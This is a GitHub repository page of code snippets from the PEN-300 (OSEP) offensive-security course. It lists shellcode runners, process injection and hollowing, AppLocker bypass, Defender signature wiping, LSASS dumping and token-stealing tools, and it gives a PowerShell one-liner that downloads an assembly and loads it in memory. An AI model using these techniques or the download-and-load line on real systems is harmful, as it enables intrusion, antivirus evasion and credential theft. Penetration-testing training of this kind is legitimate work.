Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

OSEP Code Snippets

Code examples are provided as-is, without any form of warranty. Based on Offensive Security's PEN-300 course.

Classes and methods are public, so most binaries should allow for reflective loading as below.

$data = (New-Object System.Net.WebClient).DownloadData('')
$assem = [System.Reflection.Assembly]::Load($data)


Snippet Name Description
AppLocker Bypass PowerShell Runspace (C#) Base binary for an applocker bypass using a combination of CertUtil, BitsAdmin, and InstallUtil. See for details.
Fileless Lateral Movement (C#) Wipes Windows Defender signatures on the remote host and uses a PSExec-like method (except using an existing process) to achieve lateral movement. Takes arguments for the target, the target service, and the target binary to run. Note that a non-critical service should be chosen, such as SensorService.
Linux Shellcode Encoder (Python) Utility scripts to encode C# payloads from Linux, either ingesting a raw shellcode payload (.bin), or automatically feeding from 'msfvenom'. Supports XOR and ROT encoding with an arbitrary key, and prints the decoding function. Can be used to replace the C# ROT/XOR encoder scripts.
Linux Shellcode Loaders (C) Various C-based shellcode loaders, including base binaries for library hijacking.
MiniDump (C# & PS1) A simple binary to Dump LSASS to C:\Windows\Tasks\lsass.dmp. Also provided as native PowerShell script.
MSSQL (C#) An example binary that includes a variety of discussed MSSQL interactions. Change the code to include only what you need.
PrintSpoofer.NET (C#) Steals the token of the incoming authentication forced with the PrintSpooler exploit, and use that token to run a given binary. Modified to not require an interactive logon session. Takes arguments for the pipe name and binary to run.
ROT Shellcode Encoder (C#) A simple binary to apply state-of-the-art ROT encoding to obfuscate the shellcode. It takes an argument for the number of rotations.
Sections Shellcode Process Injector (C#) Injects and runs shellcode using NtCreateSection, NtMapViewOfSection, NtUnMapViewOfsection and NtClose instead of the "standard" method.
Shellcode Process Hollowing (C#) Hollows a svchost process and runs the shellcode from there. Scores 0/68 on VirusTotal at the time of writing.
Shellcode Process Injector (C# & PS1) Simple shellcode runner that applies process injection. Accepts an argument for the process to inject into. If no argument is given, it attempts to pick a suitable process based on privilege level. Also provided as native PowerShell script (though it is a bit simpler).
Simple Shellcode Runner (C# & PS1 & VBA) The simplest of shellcode runners. Also provided as native PowerShell and VBA scripts.
XOR Shellcode Encoder (C#) A simple binary to apply state-of-the-art XOR encoding to obfuscate the shellcode.


A repository with my notable code snippets for Offensive Security's PEN-300 (OSEP) course.






No releases published

Sponsor this project



No packages published